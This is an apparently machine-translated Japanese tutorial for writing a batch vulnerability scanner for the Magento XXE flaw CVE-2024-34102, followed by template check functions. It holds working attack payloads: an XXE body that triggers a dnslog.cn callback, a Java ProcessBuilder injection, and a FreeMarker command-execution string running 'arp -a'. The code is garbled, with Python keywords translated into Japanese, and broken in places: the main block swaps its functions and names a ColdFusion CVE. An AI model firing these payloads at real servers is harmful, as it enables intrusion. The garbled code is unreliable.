1。序文
次の検出スクリプトを列に示します。
リクエストをインポートします
urllib3をインポートします
RE、文字列、ランダムをインポートします
urllib.parseインポートurljoinから
argparseをインポートします
インポート時間
SSLをインポートします
ssl._create_default_https_context=ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.insecurerequestwarning)
def banner():
print()
印刷(r '' ''
____________ _____ _____ ____ _____ _____ _____ ____
/___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ \/_ \ ___//_
| | \ \//| _ | _____ __)| | | | | | | | _____ ___)| | | | | | | |//'_ \
| | ___ \ v/| | ________/__/| | _ |/__/| ________/__/| | _ | |//| (_)|
\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | ______ | \ ____ //\ ___/
_____
| ___ |
//
//
/_/
'' ')
print()
def read_file(file_path):
file:としてopen(file_path、 'r')があります
urls=file.read()。splitlines()
URLを返します
def check(url):
url=url.rstrip( '/')
taeget_url=urljoin(url、 '/rest/v1/guest-carts/1/astimate-shipping-methods')
try:
ヘッダー={
'user-agent':' mozilla/5.0(x11; cros i686 3912.101.0)Applewebkit/537.36(Khtml、geckoのように)Chrome/27.0.1453.116 Safari/537.36 '、
'content-type':'アプリケーション/json '
}
getDomain=requests.get(url='http://dnslog.cn/getdomain.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30)
domain=str(getDomain.Text)
データ='' {'address': {' totalScollector': {'collectorList': {' totalCollector': {'Sourcedata'33 360 {'data': {' data ':'http://%s '、' datasurl':true、 'options':12345678}}}}}}}' '' '%(domain)
requests.post(taeget_url、verify=false、headers、headers、data=data、timeout=25)
範囲(0、3):のIの場合
更新=requests.get(url='http://dnslog.cn/getrecords.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30)
time.sleep(1)
refresh.text:のドメインの場合
print(f '\ 033 [31mdiscovered: {url} :Adobemagento_cve-2024-34102_xxe!\ 033 [0m')
trueを返します
E:としての例外を除く
合格
__name__=='__main __' :の場合
バナー()
parser=argparse.argumentparser(description='adobecoldfusion_cve-2024-20767_arbitraryfileread検出スクリプト')
parser.add_argument( '-u'、 '-url'、type=str、help='シングルURL検出')
parser.add_argument( '-f'、 ' - txt'、type=str、help='batch urlファイルロード検出')
args=parser.parse_args()
args.url:の場合
read_file(args.url)
elif args.txt:
チェック(args.txt)
else:
parser.print_help()
上記のバッチ検出コードの主な機能ポイント:
1。ディスプレイスクリプトを美化するためのグラフィカルロゴを表示するために使用されるバナー機能モジュール
2。read_file関数モジュール、ファイル内の読み取りURLアドレスをバッチバッチにするために使用されます
3.脆弱性を検出するために使用される関数モジュールを確認します。ここで建設にBPを使用し、応答パッケージの返品値に基づいてルールを一致させることをお勧めします。
4.メイン関数モジュールは主に上記の3つの関数を呼び出し、コマンドラインパーサーを参照します
2。 Pythonパッケージをインポート
Python Pycharmコミュニティエラー関数を使用して、インポートする必要があるパッケージを検出できます。
リクエストをインポートします
urllib3をインポートします
RE、文字列、ランダムをインポートします
urllib.parseインポートurljoinから
argparseをインポートします
インポート時間
SSLをインポートします
ssl._create_default_https_context=ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.insecurerequestwarning)
3。関数関数モジュール
1. banner識別関数
def banner():
print()
印刷(r '' ''
____________ _____ _____ _____ _____ _ _____
/___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ /| || || |/|/_ \
| | \ \//| _ | _____ __)| | | | | | __)| | | | ____ | _ \ | || | _ | | | | | | | | | |
| | ___ \ v/| | ________/__/| | _ |/__/| ___ _ | _______ | ___)| __ _ | | | _ | |
\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | _____/| _ | | ____/| _ | | _ | \ ____/
____
| ___ \
__)|
/__/
| ______ |
'' ')
print()
機能:この関数はグラフィカルバナーを印刷します
オンライン生成ツール:http://www.network-science.de/ascii/
または、ローカルジェネレーションにPyfigletを使用すると、生成されたコードをPythonコードで置き換えることができます。
ピップインストールpyfiglet
c: \ users \ testpyfiglet CVE-2024-34102
____________ _____ _____ _____ _____ _ _____
/___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ /| || || |/|/_ \
| | \ \//| _ | _____ __)| | | | | | __)| | | | ____ | _ \ | || | _ | | | | | | | | | |
| | ___ \ v/| | ________/__/| | _ |/__/| ___ _ | _______ | ___)| __ _ | | | _ | |
\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | _____/| _ | | ____/| _ | | _ | \ ____/
____
| ___ \
__)|
/__/
| ______ |
2.Read_File関数モジュール
関数:この関数は、指定されたファイルの各行を読み取り、これらの行の内容を含むリストを返します(URLであると仮定)。
注:このコードモジュールは、修正および変更されていないdef read_file(file_path): #define parameter file_pathを受け入れるread_fileという名前の関数を定義します。
file:としてopen(file_path、 'r')があります
#開いた関数を使用して、指定されたパスが読み取りモード( 'r')でファイルを開き、ファイルオブジェクトを変数ファイルに割り当てます。 withステートメントは、コードブロックが完了した後、ファイルが自動的に閉じられることを保証します。
urls=file.read()。splitlines()
#ファイルのコンテンツ全体を読み取り、それを行ごとにリストに分割します。各行のコンテンツは、リストの要素として機能します。 splitlines()メソッド各行のnewlinesを削除します
returns #returnすべてのURLのリストを返します
3.関数モジュールを確認
注:ここでは、実際の条件に応じてdef check(url):を変更できます
#チェックという名前の関数を定義し、パラメーターURLを受け入れ、チェックするURLを示します
url=url.rstrip( '/')
#URLの最後にスラッシュを削除します(存在する場合)
taeget_url=urljoin(url、 '/rest/v1/guest-carts/1/astimate-shipping-methods')
#urljoin関数を使用して、指定されたURLを指定されたパスでスプライスしてターゲットURLを生成します
try:
#try次のコードブロックを実行するには、例外が発生した場合、除外ブロックにジャンプします
ヘッダー={
'user-agent':' mozilla/5.0(x11; cros i686 3912.101.0)Applewebkit/537.36(Khtml、geckoのように)Chrome/27.0.1453.116 Safari/537.36 '、
'content-type':'アプリケーション/json '
}
#set httpリクエストヘッダー、ヘッダーにはユーザーエージェントとコンテンツタイプが含まれ、コンテンツタイプはpost requestパッケージ形式です
getDomain=requests.get(url='http://dnslog.cn/getdomain.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30)
#dnslog.cnにget requestを送信して、脆弱性を検出するために使用される一意のドメイン名を取得します。
domain=str(getDomain.Text)
#応答コンテンツを文字列に変換し、変数ドメインに値を割り当てます
データ='' {'address': {' totalScollector': {'collectorList': {' totalCollector': {'Sourcedata'33 360 {'data': {' data ':'http://%s '、' datasurl':true、 'options':12345678}}}}}}}' '' '%(domain)
#この脆弱性を活用する目的で、ドメインを含むJSONデータ文字列を構成する
requests.post(taeget_url、verify=false、headers、headers、data=data、timeout=25)
#ターゲットURLへの投稿リクエストを送信し、構築されたJSONデータを運ぶ
範囲(0、3):のIの場合
#DNSレコードにドメイン名が含まれているかどうかを確認するために3回変更します
更新=requests.get(url='http://dnslog.cn/getrecords.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30)
#DNSLOG.CNにリクエストを送信して、DNSレコードを取得します
time.sleep(1)
refresh.text:のドメインの場合
#ドメイン名がDNSレコードに含まれている場合、それは脆弱性が存在することを意味します
print(f '\ 033 [31mdiscovered: {url} :Adobemagento_cve-2024-34102_xxe!\ 033 [0m')
#printが見つかった脆弱性に関する情報
trueを返します
#脆弱性が検出されたことを示すためにtrueを返します
E:としての例外を除く
#上記のコードを実行しようとするときに例外が発生した場合、例外をキャッチして無視します
合格
関数を検出する主な方法:タイプDEFチェック(URL):を取得
url=url.rstrip( '/')
ターゲット=url+'/urlパス'
ヘッダー={
'user-agent':' mozilla/5.0(x11; linux x86_64)applewebkit/537.36(khtml、yike gecko)chrome/41.0.22227.0 safari/537.36 ''
}
try:
#get要求方法
Response=urllib.request.request(ターゲット、ヘッダー=ヘッダー、method='get'、unverifiable=true)
res=urllib.request.urlopen(response)
status_code=res.getCode()
content=res.read()。decode()
status_code==200およびコンテンツの「フォント」とcontent:の「拡張機能」の場合
#主な一致する脆弱性検証ルール
print(f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明(xxxにはrce脆弱性があります)\ 033 [0m')
E:としての例外を除く
合格
ポストタイプDEF CHECK1(URL):
url=url.rstrip( '/')
ターゲット=urljoin(url、 '/url path')
ヘッダー={
'user-agent':' mozilla/5.0(x11; linux x86_64)applewebkit/537.36(khtml、geckoのような)Chrome/41.0.22227.0 Safari/537.36 '、
'content-type':' application/json; charset=utf-8 '#postデータ形式タイプ
}
#postリクエストデータ
data='{' paramname ': '' '' '、' paramdesc': ''、 'paramtype ':' '' ''、 'sampleitem ':'1'、 '必須':true、' neveringflag':1、 'belidationRures'3:'funtiction viuntiction verification java.lang.processbuilder(\\\ 'echo \\\'、\\\ 'helloworldtest \\\')。start() null){ss+=line}; return ss;} '}'
try:
#postリクエストメソッド
response=requests.post(ターゲット、検証=false、headers、data=data、timeout=15)
respons.status_code==200および 'helloworldtest' in respons.text.text.text.text.textおよび 'data' in Respons.text: #main検証ルールの場合
print(f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明(xxxにはrceの脆弱性!\ 033 [0m')
trueを返します
E:としての例外を除く
合格
def check2(url):
url=url.rstrip( '/')
ターゲット=urljoin(url、 '/jc6/platform/portalwb/portalwb-con-template!viewcontemplate.action')
ヘッダー={
'user-agent':' mozilla/2.0(互換性、msie 3.01; Windows 95 '、
'content-type':'アプリケーション/x-www-form-urlencoded '
}
データ='' ModulID=1Code=%253CCLOB%253E%2524%257B%2522Freemarker.template.utility.execute%2522%253fnew%2528%2529%2528%2522ARP%2520-A%2522%2529%257D%253C%253CLOB
try:
response=requests.post(ターゲット、検証=false、headers、data=data、timeout=15)
response.status_code==200および「インターネット」の場合、それに応じてテキストと「/clob」。Text:
#主な一致する脆弱性検証ルール
print(f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明(xxxにはrceの脆弱性!\ 033 [0m')
trueを返します
E:としての例外を除く
合格
iv。メイン関数関数モジュール
関数:上記の関数を呼び出します
この部分は、スクリプトのエントリ、コマンドラインパラメーターを解析し、-URLパラメーターが提供されている場合、単一のURLが検出されます。 -TXTパラメーターが提供されている場合、ファイル内の複数のURLアドレスが検出されます。
__name__=='__main __' :の場合
#バナー機能をコールし、上記の識別図を表示します
バナー()
#command Lineパラメーターパーサー
parser=argparse.argumentparser(description='adobecoldfusion_cve-2024-20767_arbitraryfileread検出スクリプト')
parser.add_argument( '-u'、 '-url'、type=str、help='シングルURL検出')
parser.add_argument( '-f'、 ' - txt'、type=str、help='batch urlファイルロード検出')